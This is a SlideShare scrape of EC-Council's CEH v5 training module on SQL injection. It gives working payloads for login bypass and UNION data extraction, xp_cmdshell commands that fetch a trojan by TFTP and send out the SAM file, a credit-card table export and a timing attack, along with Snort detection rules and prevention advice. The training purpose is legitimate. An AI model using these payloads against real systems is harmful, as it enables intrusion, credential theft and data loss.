SlideShare a Scribd company logo
Module XIV
SQL Injection
Ethical Hacking
Version 5
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Module Objective
This module will familiarize you with the
following:
• SQL injection
• Steps for performing SQL Injection
• SQL Injection Techniques
• SQL Injection in Oracle
• SQL Injection in MySql
• Attacking SQL servers
• Automated Tools for SQL Injection
• Countermeasures to SQL Injection
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Module Flow
SQL injection
techniques
Understanding SQL
injection Steps
Introducing SQL
injection
SQL injection in OracleSQL injection in MySqL
SQL injection
automated tools
SQL injection
countermeasures
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
What is SQL Injection?
SQL injection is a type of security exploit in which the attacker
"injects" Structured Query Language (SQL) code through a web form
input box, to gain access to resources, or make changes to data
It is a technique of injecting SQL commands to exploit non-validated
input vulnerabilities in a web application database backend
Programmers use sequential commands with user input, making it
easier for attackers to inject commands
Attackers can execute arbitrary SQL commands through the web
application
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Exploiting Web Applications
It exploits web applications that use
client-supplied sql queries
It enables an attacker to execute
unauthorized SQL commands
It also takes advantage of unsafe
queries in web applications, and builds
dynamic SQL queries
For example, when a user logs onto a web page
by using a user name and password for
validation, a SQL query is used. However, the
attacker can use SQL injection to send
specially crafted user name and password
fields that poison the original SQL query
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Injection Steps
What do you need?
• Any web browser
Input validation attack occurs here on a website
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
What Should You Look For ?
Try to look for pages that allow a user to submit data,
for example a log in page, search page, feedback, etc.
Look for HTML pages that use POST or GET commands
If POST is used, you cannot see the parameters in the
URL
Check the source code of the HTML to get information
• For example, to check whether it is using POST or GET, look
for the <Form> tag in the source code
<Form action=search.asp method=post>
<input type=hidden name=X value=Z>
</Form>
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
What If It Doesn’t Take Input?
If input is not given, check for pages like ASP,
JSP, CGI, or PHP
Check the URL that takes the following
parameters:
• Example
–http:// www.xsecurity.com
/index.asp?id=10
• In the above example, attackers might attempt:
–http://www.xsecurity.com/index.asp?id
=blah’ or 1=1--
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
OLE DB Errors
The user-filled fields are enclosed by a single quotation
mark ('). To test, try using (') as the user name
The following error message will be displayed when a (') is
entered into a form that is vulnerable to an SQL injection
attack
If you get this error, then the website is vulnerable to an SQL injection
attack
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Input Validation Attack
Input validation attack occurs here on a website
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Injection Techniques
SQL Injection techniques:
• Authorization bypass
– Bypassing log on forms
• Using the SELECT command
– Used to retrieve data from the
database
• Using the INSERT command
– Used to add information to the
database
• Using SQL server stored
procedures
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
How to Test for SQL Injection
Vulnerability?
Use a single quote in the input:
• blah’ or 1=1—
• Login:blah’ or 1=1—
• Password:blah’ or 1=1—
• http://search/index.asp?id=blah’ or 1=1--
Depending on the query, try the following
possibilities:
• ‘ or 1=1--
• “ or 1=1--
• ‘ or ‘a’=‘a
• “ or “a”=“a
• ‘) or (‘a’=‘a)
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
How does it Work?
The hacker breaks into the system by injecting malformed SQL into the query.
Original SQL Query:
• strQry = "SELECT Count(*) FROM Users WHERE UserName='" +
txtUser.Text + "' AND Password='" + txtPassword.Text +
"'";
In the case of the user entering a valid user name of "Paul" and a password of
"password", strQry becomes:
• SELECT Count(*) FROM Users WHERE UserName='Paul' AND
Password='password'
But when the hacker enters ' Or 1=1 -- the query now becomes:
• SELECT Count(*) FROM Users WHERE UserName='' Or 1=1 --'
AND Password=''
Because a pair of hyphens designates the beginning of a comment in SQL, the query
becomes simply:
• SELECT Count(*) FROM Users WHERE UserName='' Or 1=1
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Executing Operating System Commands
Use stored procedures like master..xp_cmdshell to perform remote
execution
Execute any OS commands here
• blah‘;exec master..xp_cmdshell “insert OS command here” --
Ping a server
• blah‘;exec master..xp_cmdshell “ping 10.10.1.2” --
Directory listing
• blah‘;exec master..xp_cmdshell “dir c:*.* /s >
c:directory.txt” --
Create a file
• blah‘;exec master..xp_cmdshell “echo juggyboy-was-here >
c:juggyboy.txt” –-
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Executing Operating System Commands
(cont’d)
Defacing a web page (assuming that write access is allowed due to
misconfiguration)
• blah‘;exec master..xp_cmdshell “echo you-are-
defaced > c:inetpubwww.rootindex.htm” –-
Execute applications (only non-gui app)
• blah‘;exec master..xp_cmdshell “cmd.exe /c
appname.exe” --
Upload a Trojan to the server
• blah‘;exec master..xp_cmdshell “tftp –i
10.0.0.4 GET trojan.exe c:trojan.exe” --
Download a file from the server
• blah‘;exec master..xp_cmdshell “tftp –i
10.0.0.4 put c:winntrepairSAM SAM” --
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Getting Output of SQL Query
Use sp_makewebtask to write a query into an HTML
• Example
blah‘;EXEC master..sp_makewebtask
“10.10.1.4sharecreditcard.html”,
“SELECT * FROM CREDITCARD”
The above command exports a table called credit card,
to the attacker’s network share
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Getting Data from the Database Using
ODBC Error Message
Using UNION keyword
• http://xsecurity.com/index.asp?id=10 UNION
SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
• To retrieve information from the above query use
SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
Using LIKE keyword
• http:// xsecurity.com /index.asp?id=10 UNION
SELECT TOP 1 TABLE FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME
LIKE ‘%25LOGIN%25’--
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
How to Mine all Column Names of a
Table?
To map out all the column names of a table, type
• http://xsecurity.com/index.asp?id=10 UNION
SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=‘admin_login’—-
To get to the next column name, use NOT IN( )
• http:// xsecurity.com /index.asp?id=10 UNION
SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=‘admin_login’ WHERE COLUMN_NAME NOT
IN(‘login_id’)--
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
How to Retrieve any Data?
To get the login_name from the “admin_login” table
• http:// xsecurity.com /index.asp?id=10 UNION
SELECT TOP 1 login_name FROM admin_login--
From above, we get login_name of the admin_user
To get the password for login_name=“yuri” --
• http”// xsecurity.com /index.asp?id=10 UNION
SELECT TOP 1 password FROM admin_login where
login_name=‘yuri’--
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
How to Update/Insert Data into Database?
After gathering all of column names of a table, it is
possible to UPDATE or INSERT records into it
• Example to change the password for “yuri”:
• http:// xsecurity.com /index.asp?id=10; UPDATE
‘admin_login’ SET ‘password’ = ‘newboy5’ WHERE
login_name=‘yuri’--
To INSERT a record
• http:// xsecurity.com /index.asp?id=10; INSERT
INTO‘admin_login’(‘login_id’,’login_name’,’pas
sword’,’details’)VALUES(111,’yuri2’,’newboy5’,
’NA’)--
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Automated SQL Injection Tool:
AutoMagic SQL
Complete an automated SQL Injection attack
tool
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Injection in Oracle
SQL Injection in Oracle can be performed as
follows:
• UNIONS can be added to the existing statement to
execute a second statement
• SUBSELECTS can be added to existing statements
• Data Definition Language (DDL) can be injected if
DDL is used in a dynamic SQL string
• INSERTS, UPDATES, and DELETES can also be
injected
• Anonymous PL/SQL block in procedures
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Injection in MySql Database
It is not easy to perform SQL injection in a
MySql database
While coding with a MySql application, the
injection vulnerability is not exploited
It is difficult to trace the output
You can see an error because the value
retrieved, is passed on to multiple queries with
different numbers of columns before the script
ends
In such situations, SELECT and UNION
commands cannot be used
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Injection in MySql Database
(cont’d)
For example: consider a database “pizza:”
• http://www.xsecurity.com/pizza/index.php?a=post&s=
reply&t=1'
• To show the tables, type the query:
mysql> SHOW TABLES;
• To see the current user:
mysql> SELECT USER();
• The following query shows the first byte of Admin's Hash:
mysql> SELECT SUBSTRING(user_password,1,1)FROM mb_users
WHERE user_group = 1;
• The following query shows first byte of Admin's Hash as an ASCII
number:
mysql> SELECT ASCII('5');
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Injection in MySql Database
(cont’d)
Preparing the GET Request
• To inject SQL commands successfully we have to clean the request from any
single quotes
mysql> Select active_id FROM mb_active UNION SELECT
IF(SUBSTRING(user_password,1, 1) = CHAR(53),
BENCHMARK(1000000, MD5(CHAR(1))), null) FROM mb_users WHERE
user_group = 1;
Exploiting the Vulnerability
• First, log in as a registered user, with the rights to reply the current thread
http://127.0.0.1/pizza/index.php?a=post&s=reply&t=1 UNION
SELECT IF (SUBSTRING(user_password,1,1) = CHAR(53),
BENCHMARK(1000000, MD5(CHAR(1))), null), null, null, null,
null FROM mb_users WHERE user_group = 1/*
You will see a slow down, because the first byte is CHAR(53), 5
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Attack against SQL Servers
Techniques Involved
• Understand SQL Server and extract the necessary
information from the SQL Server Resolution Service
• List of servers by Osql-L probes
• Sc.exe sweeping of services
• Port scanning
• Use of commercial alternatives
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Server Resolution Service (SSRS)
This service is responsible for sending a response
packet containing the connection details of clients who
send a specially formed request
The packet contains the details necessary to connect to
the desired instance, including the TCP port
The SSRS has buffer overflow vulnerabilities, that allow
remote attackers to overwrite portions of system’s
memory and execute arbitrary codes
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Osql L- Probing
Is a command-line utility provided by Microsoft
with SQL Server 2000, that allows the user to
issue queries to the server
Osql.exe includes a discovery switch (-L) that
will poll the network looking for other
installations of SQL Server
Osql.exe returns a list of server names and
instances, but without details about TCP ports
or netlibs
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Injection Automated Tools
SQLDict
SqlExec
SQLbf
SQLSmack
SQL2.exe
AppDetective
Database Scanner
SQLPoke
NGSSQLCrack
NGSSQuirreL
SQLPing v2.2
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Hacking Tool: SQLDict
http://ntsecurity.nu/cgi-
bin/download/sqldict.exe
.pl
SQLdict is a dictionary attack
tool for SQL Server
It tests if the accounts are strong
enough to resist an attack
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Hacking Tool: SQLExec
http://phoenix.liu.edu/~mdevi/util/Intro.htm
This tool executes commands on compromised Microsoft SQL Servers by using
xp_cmdshell stored procedure
It uses a default sa account with a NULL password
USAGE: SQLExec www.target.com
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Sever Password Auditing Tool :
sqlbf
http://www.cqure.net/tools.jsp?id=10
Sqlbf is a SQL Sever Password Auditing tool. This tool is used to audit
the strength of Microsoft SQL Server passwords offline. The tool can
be used either in Brute-Force mode or in Dictionary attack mode. The
performance on a 1GHZ pentium (256MB) machine is about 750,000
guesses/sec
To be able to perform an audit, the password hashes that are stored in
the sysxlogins table in the master database are needed
The hashes are easy to retrieve, although a privileged account is
needed. The query to use would be:
select name, password from master..sysxlogins
To perform a dictionary attack on the retrieved hashes:
sqlbf -u hashes.txt -d dictionary.dic -r out.rep
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Hacking Tool: SQLSmack
SQLSmack is a Linux-based Remote Command
Execution for MSSQL
When provided with a valid user name and password,
the tool permits the execution of commands on a
remote MS SQL Server, by piping them through the
stored procedure master..xp_cmdshell
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Hacking Tool: SQL2.exe
SQL2 is an UDP Buffer Overflow Remote Exploit
hacking tool
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Injection Countermeasures
Selection of Regular Expressions
• Regular expressions for detection of SQL meta characters are:
– /(%27)|(')|(--)|(%23)|(#)/ix
• In the above example, the regular expression would be added to the snort rule
as follows:
– alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS
$HTTP_PORTS (msg:"SQL Injection - Paranoid";
flow:to_server,established;uricontent:".pl";pcre:"/(%2
7)|(')|(--)|(%23)|(#)/i"; classtype:Web-application-
attack; sid:9099; rev:5;) </TD< tr>
• Since “#” is not an HTML meta character, it will not be encoded by the browser
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Injection Countermeasures (cont’d)
• The modified regular expressions for detection of SQL
meta characters are:
–/((%3D)|(=))[^n]*((%27)|(')|(--
)|(%3B)|(;))/i
• The regular expressions for a typical SQL injection
attack are:
– /w*((%27)|('))((%6F)|o|(%4F))((%72)|r|(
%52))/ix
w* -zero or more alphanumeric or underscore characters
(%27)|' -the ubiquitous single-quote or its hex equivalent
(%6F)|o|(%4F))((%72)|r|(%52) -the word “or”
with various combinations of its upper and lower case hex
equivalents
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Injection Countermeasures (cont’d)
• The regular expressions for detecting an SQL injection attack
using UNION as a keyword:
– /((%27)|('))union/ix
(%27)|(') - the single quote and its hex equivalent
union - the keyword union
– The above expression can be used for SELECT, INSERT, UPDATE,
DELETE, and DROP keywords
• The Regular expressions for detecting SQL injection attacks on
a MS SQL server:
– /exec(s|+)+(s|x)pw+/ix
exec -the keyword required to run the stored or extended procedure
(s|+)+ -one or more white spaces, or their HTTP encoded equivalents
(s|x)p -the letters “sp” or “xp” to identify stored or extended procedures,
respectively
w+ -one or more alphanumeric or underscore characters to complete the
name of the procedure
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Preventing SQL Injection Attacks
Minimize the privileges of database connections
Disable verbose error messages
Protect the system account “sa”
Audit source codes
• Escape single quotes
• Input validation
• Reject known bad input
• Input bound checking
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Preventing SQL Injection Attacks
(cont’d)
Never trust user input
• Validate all textbox entries using validation controls, regular expressions, code,
and so on
Never use dynamic SQL
• Use parameterized SQL or stored procedures
Never connect to a database using an admin-level account
• Use a limited access account to connect to the database
Do not store secrets in plain text
• Encrypt or hash passwords and other sensitive data; you should also encrypt
connection strings
Exceptions should divulge minimal information
• Do not reveal too much information in error messages; use custom Errors to
display minimal information in the event of an unhandled error; set debug to
false
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
SQL Injection Blocking Tool:
SQLBlock
SQLBlock is an ODBC/JDBC driver
with a patent pending SQL injection
prevention feature
It works as an ordinary ODBC/JDBC
data source, and it monitors every
SQL statement being executed
If the client application tries to
execute any un-allowed SQL
statements, SQLBlock will block the
execution and will send an alert to
the administrator
http://www.sqlblock.com
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Acunetix Web Vulnerability Scanner
Acunetix Web scanner
can detect and report any
SQL Injection
vulnerabilities
Other features include:
• Cross site scripting /
XSS vulnerabilities
• Google hacking
vulnerabilities
• http://www.acunetix.com
EC-Council
Copyright © by EC-Council
All Rights reserved. Reproduction is strictly prohibited
Summary
SQL injection is an attack methodology that targets the
data residing in a database
It attempts to modify the parameters of a web-based
application in order to alter the SQL statements that are
parsed, in order to retrieve data from the database
Database footprinting is the process of mapping the
tables on the database, and is a crucial tool in the hands
of an attacker
Exploits occur due to coding errors as well as
inadequate validation checks
Prevention involves enforcing better coding practices
and database administration procedures

More Related Content

What's hot

Ch 10: Hacking Web Servers
Ch 10: Hacking Web ServersCh 10: Hacking Web Servers
Ch 10: Hacking Web Servers
Sam Bowne
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
Rick Wanner
 
Ceh v5 module 04 enumeration
Ceh v5 module 04 enumerationCeh v5 module 04 enumeration
Ceh v5 module 04 enumeration
Vi Tính Hoàng Nam
 
Ethical Hacking n VAPT presentation by Suvrat jain
Ethical Hacking n VAPT presentation by Suvrat jainEthical Hacking n VAPT presentation by Suvrat jain
Ethical Hacking n VAPT presentation by Suvrat jain
Suvrat Jain
 
Ceh v5 module 15 hacking wireless networks
Ceh v5 module 15 hacking wireless networksCeh v5 module 15 hacking wireless networks
Ceh v5 module 15 hacking wireless networks
Vi Tính Hoàng Nam
 
Cyber Threat Intelligence
Cyber Threat IntelligenceCyber Threat Intelligence
Cyber Threat Intelligence
Marlabs
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2
Scott Sutherland
 
Web Application Security Testing
Web Application Security TestingWeb Application Security Testing
Web Application Security TestingMarco Morana
 
cybersecurity
cybersecuritycybersecurity
cybersecurity
maha797959
 
Ceh v5 module 07 sniffers
Ceh v5 module 07 sniffersCeh v5 module 07 sniffers
Ceh v5 module 07 sniffers
Vi Tính Hoàng Nam
 
Malware Analysis
Malware AnalysisMalware Analysis
Malware Analysis
Ramin Farajpour Cami
 
Cyber Security and Cyber Awareness
Cyber Security and Cyber Awareness Cyber Security and Cyber Awareness
Cyber Security and Cyber Awareness
Jay Nagar
 
Ceh v5 module 09 social engineering
Ceh v5 module 09 social engineeringCeh v5 module 09 social engineering
Ceh v5 module 09 social engineering
Vi Tính Hoàng Nam
 
IT Security Awareness-v1.7.ppt
IT Security Awareness-v1.7.pptIT Security Awareness-v1.7.ppt
IT Security Awareness-v1.7.ppt
OoXair
 
Cyber Security 101: Training, awareness, strategies for small to medium sized...
Cyber Security 101: Training, awareness, strategies for small to medium sized...Cyber Security 101: Training, awareness, strategies for small to medium sized...
Cyber Security 101: Training, awareness, strategies for small to medium sized...
Stephen Cobb
 
Module 8 System Hacking
Module 8   System HackingModule 8   System Hacking
Module 8 System Hackingleminhvuong
 
Cyber kill chain
Cyber kill chainCyber kill chain
Cyber kill chain
Ankita Ganguly
 
Ethical Hacking PPT (CEH)
Ethical Hacking PPT (CEH)Ethical Hacking PPT (CEH)
Ethical Hacking PPT (CEH)
Umesh Mahawar
 
Ceh v5 module 01 introduction to ethical hacking
Ceh v5 module 01 introduction to ethical hackingCeh v5 module 01 introduction to ethical hacking
Ceh v5 module 01 introduction to ethical hacking
Vi Tính Hoàng Nam
 
Introduction to Malware Analysis
Introduction to Malware AnalysisIntroduction to Malware Analysis
Introduction to Malware Analysis
Andrew McNicol
 

What's hot (20)

Ch 10: Hacking Web Servers
Ch 10: Hacking Web ServersCh 10: Hacking Web Servers
Ch 10: Hacking Web Servers
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
 
Ceh v5 module 04 enumeration
Ceh v5 module 04 enumerationCeh v5 module 04 enumeration
Ceh v5 module 04 enumeration
 
Ethical Hacking n VAPT presentation by Suvrat jain
Ethical Hacking n VAPT presentation by Suvrat jainEthical Hacking n VAPT presentation by Suvrat jain
Ethical Hacking n VAPT presentation by Suvrat jain
 
Ceh v5 module 15 hacking wireless networks
Ceh v5 module 15 hacking wireless networksCeh v5 module 15 hacking wireless networks
Ceh v5 module 15 hacking wireless networks
 
Cyber Threat Intelligence
Cyber Threat IntelligenceCyber Threat Intelligence
Cyber Threat Intelligence
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2
 
Web Application Security Testing
Web Application Security TestingWeb Application Security Testing
Web Application Security Testing
 
cybersecurity
cybersecuritycybersecurity
cybersecurity
 
Ceh v5 module 07 sniffers
Ceh v5 module 07 sniffersCeh v5 module 07 sniffers
Ceh v5 module 07 sniffers
 
Malware Analysis
Malware AnalysisMalware Analysis
Malware Analysis
 
Cyber Security and Cyber Awareness
Cyber Security and Cyber Awareness Cyber Security and Cyber Awareness
Cyber Security and Cyber Awareness
 
Ceh v5 module 09 social engineering
Ceh v5 module 09 social engineeringCeh v5 module 09 social engineering
Ceh v5 module 09 social engineering
 
IT Security Awareness-v1.7.ppt
IT Security Awareness-v1.7.pptIT Security Awareness-v1.7.ppt
IT Security Awareness-v1.7.ppt
 
Cyber Security 101: Training, awareness, strategies for small to medium sized...
Cyber Security 101: Training, awareness, strategies for small to medium sized...Cyber Security 101: Training, awareness, strategies for small to medium sized...
Cyber Security 101: Training, awareness, strategies for small to medium sized...
 
Module 8 System Hacking
Module 8   System HackingModule 8   System Hacking
Module 8 System Hacking
 
Cyber kill chain
Cyber kill chainCyber kill chain
Cyber kill chain
 
Ethical Hacking PPT (CEH)
Ethical Hacking PPT (CEH)Ethical Hacking PPT (CEH)
Ethical Hacking PPT (CEH)
 
Ceh v5 module 01 introduction to ethical hacking
Ceh v5 module 01 introduction to ethical hackingCeh v5 module 01 introduction to ethical hacking
Ceh v5 module 01 introduction to ethical hacking
 
Introduction to Malware Analysis
Introduction to Malware AnalysisIntroduction to Malware Analysis
Introduction to Malware Analysis
 

Viewers also liked

Ceh v5 module 13 web based password cracking techniques
Ceh v5 module 13 web based password cracking techniquesCeh v5 module 13 web based password cracking techniques
Ceh v5 module 13 web based password cracking techniques
Vi Tính Hoàng Nam
 
Ceh v5 module 16 virus and worms
Ceh v5 module 16 virus and wormsCeh v5 module 16 virus and worms
Ceh v5 module 16 virus and worms
Vi Tính Hoàng Nam
 
Cehv8 - Module 19: Cryptography
Cehv8 - Module 19: CryptographyCehv8 - Module 19: Cryptography
Cehv8 - Module 19: Cryptography
Vuz Dở Hơi
 
Ceh v5 module 08 denial of service
Ceh v5 module 08 denial of serviceCeh v5 module 08 denial of service
Ceh v5 module 08 denial of service
Vi Tính Hoàng Nam
 
Ceh v5 module 18 linux hacking
Ceh v5 module 18 linux hackingCeh v5 module 18 linux hacking
Ceh v5 module 18 linux hacking
Vi Tính Hoàng Nam
 
Ceh v5 module 21 cryptography
Ceh v5 module 21 cryptographyCeh v5 module 21 cryptography
Ceh v5 module 21 cryptography
Vi Tính Hoàng Nam
 
Module 3 social engineering-b
Module 3   social engineering-bModule 3   social engineering-b
Module 3 social engineering-bBbAOC
 
Ceh v5 module 12 web application vulnerabilities
Ceh v5 module 12 web application vulnerabilitiesCeh v5 module 12 web application vulnerabilities
Ceh v5 module 12 web application vulnerabilities
Vi Tính Hoàng Nam
 
Ceh v5 module 06 trojans and backdoors
Ceh v5 module 06 trojans and backdoorsCeh v5 module 06 trojans and backdoors
Ceh v5 module 06 trojans and backdoors
Vi Tính Hoàng Nam
 
Ceh v5 module 05 system hacking
Ceh v5 module 05 system hackingCeh v5 module 05 system hacking
Ceh v5 module 05 system hacking
Vi Tính Hoàng Nam
 
Cehv8 - Module 06: Trojans and Backdoors
Cehv8 - Module 06: Trojans and BackdoorsCehv8 - Module 06: Trojans and Backdoors
Cehv8 - Module 06: Trojans and Backdoors
Vuz Dở Hơi
 
Cehv8 - Module 16: Hacking Mobile Platforms
Cehv8 - Module 16: Hacking Mobile PlatformsCehv8 - Module 16: Hacking Mobile Platforms
Cehv8 - Module 16: Hacking Mobile Platforms
Vuz Dở Hơi
 
CEHv7 Question Collection
CEHv7 Question CollectionCEHv7 Question Collection
CEHv7 Question Collection
Manish Luintel
 
Types of attacks and threads
Types of attacks and threadsTypes of attacks and threads
Types of attacks and threads
srivijaymanickam
 
Password Cracking
Password Cracking Password Cracking
Password Cracking
Sina Manavi
 
Ceh v8 Labs - Module18: Buffer Overflow.
Ceh v8 Labs - Module18: Buffer Overflow.Ceh v8 Labs - Module18: Buffer Overflow.
Ceh v8 Labs - Module18: Buffer Overflow.
Vuz Dở Hơi
 
Cehv8 module 01 introduction to ethical hacking
Cehv8 module 01 introduction to ethical hackingCehv8 module 01 introduction to ethical hacking
Cehv8 module 01 introduction to ethical hacking
polichen
 

Viewers also liked (17)

Ceh v5 module 13 web based password cracking techniques
Ceh v5 module 13 web based password cracking techniquesCeh v5 module 13 web based password cracking techniques
Ceh v5 module 13 web based password cracking techniques
 
Ceh v5 module 16 virus and worms
Ceh v5 module 16 virus and wormsCeh v5 module 16 virus and worms
Ceh v5 module 16 virus and worms
 
Cehv8 - Module 19: Cryptography
Cehv8 - Module 19: CryptographyCehv8 - Module 19: Cryptography
Cehv8 - Module 19: Cryptography
 
Ceh v5 module 08 denial of service
Ceh v5 module 08 denial of serviceCeh v5 module 08 denial of service
Ceh v5 module 08 denial of service
 
Ceh v5 module 18 linux hacking
Ceh v5 module 18 linux hackingCeh v5 module 18 linux hacking
Ceh v5 module 18 linux hacking
 
Ceh v5 module 21 cryptography
Ceh v5 module 21 cryptographyCeh v5 module 21 cryptography
Ceh v5 module 21 cryptography
 
Module 3 social engineering-b
Module 3   social engineering-bModule 3   social engineering-b
Module 3 social engineering-b
 
Ceh v5 module 12 web application vulnerabilities
Ceh v5 module 12 web application vulnerabilitiesCeh v5 module 12 web application vulnerabilities
Ceh v5 module 12 web application vulnerabilities
 
Ceh v5 module 06 trojans and backdoors
Ceh v5 module 06 trojans and backdoorsCeh v5 module 06 trojans and backdoors
Ceh v5 module 06 trojans and backdoors
 
Ceh v5 module 05 system hacking
Ceh v5 module 05 system hackingCeh v5 module 05 system hacking
Ceh v5 module 05 system hacking
 
Cehv8 - Module 06: Trojans and Backdoors
Cehv8 - Module 06: Trojans and BackdoorsCehv8 - Module 06: Trojans and Backdoors
Cehv8 - Module 06: Trojans and Backdoors
 
Cehv8 - Module 16: Hacking Mobile Platforms
Cehv8 - Module 16: Hacking Mobile PlatformsCehv8 - Module 16: Hacking Mobile Platforms
Cehv8 - Module 16: Hacking Mobile Platforms
 
CEHv7 Question Collection
CEHv7 Question CollectionCEHv7 Question Collection
CEHv7 Question Collection
 
Types of attacks and threads
Types of attacks and threadsTypes of attacks and threads
Types of attacks and threads
 
Password Cracking
Password Cracking Password Cracking
Password Cracking
 
Ceh v8 Labs - Module18: Buffer Overflow.
Ceh v8 Labs - Module18: Buffer Overflow.Ceh v8 Labs - Module18: Buffer Overflow.
Ceh v8 Labs - Module18: Buffer Overflow.
 
Cehv8 module 01 introduction to ethical hacking
Cehv8 module 01 introduction to ethical hackingCehv8 module 01 introduction to ethical hacking
Cehv8 module 01 introduction to ethical hacking
 

Similar to Ceh v5 module 14 sql injection

Ce hv6 module 42 hacking database servers
Ce hv6 module 42 hacking database serversCe hv6 module 42 hacking database servers
Ce hv6 module 42 hacking database servers
Vi Tính Hoàng Nam
 
Web & Wireless Hacking
Web & Wireless HackingWeb & Wireless Hacking
Web & Wireless Hacking
Don Anto
 
OWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacksOWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacks
Mohamed Talaat
 
Web hacking series part 3
Web hacking series part 3Web hacking series part 3
Web hacking series part 3
Aditya Kamat
 
SQL Injection in JAVA
SQL Injection in JAVASQL Injection in JAVA
SQL Injection in JAVA
Hossein Yavari
 
null Bangalore meet - Php Security
null Bangalore meet - Php Securitynull Bangalore meet - Php Security
null Bangalore meet - Php Security
n|u - The Open Security Community
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
helloanand
 
Sql injection attacks
Sql injection attacksSql injection attacks
Sql injection attacks
chaitanya Lotankar
 
Sql injection attacks
Sql injection attacksSql injection attacks
Sql injection attacksKumar
 
Making Joomla Insecure - Explaining security by breaking it
Making Joomla Insecure - Explaining security by breaking itMaking Joomla Insecure - Explaining security by breaking it
Making Joomla Insecure - Explaining security by breaking it
Tim Plummer
 
Sql injection attacks
Sql injection attacksSql injection attacks
Sql injection attacksNitish Kumar
 
SQL Injection and DoS
SQL Injection and DoSSQL Injection and DoS
SQL Injection and DoS
Emil Tan
 
Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacks
Kevin Kline
 
4 andrii kudiurov - web application security 101
4   andrii kudiurov - web application security 1014   andrii kudiurov - web application security 101
4 andrii kudiurov - web application security 101
Ievgenii Katsan
 
Unique Features of SQL Injection in PHP Assignment
Unique Features of SQL Injection in PHP AssignmentUnique Features of SQL Injection in PHP Assignment
Unique Features of SQL Injection in PHP Assignment
Lesa Cote
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
David Stockton
 
Practical Approach towards SQLi ppt
Practical Approach towards SQLi pptPractical Approach towards SQLi ppt
Practical Approach towards SQLi ppt
Ahamed Saleem
 
Module 14 (sql injection)
Module 14 (sql injection)Module 14 (sql injection)
Module 14 (sql injection)
Wail Hassan
 

Similar to Ceh v5 module 14 sql injection (20)

Ce hv6 module 42 hacking database servers
Ce hv6 module 42 hacking database serversCe hv6 module 42 hacking database servers
Ce hv6 module 42 hacking database servers
 
Web & Wireless Hacking
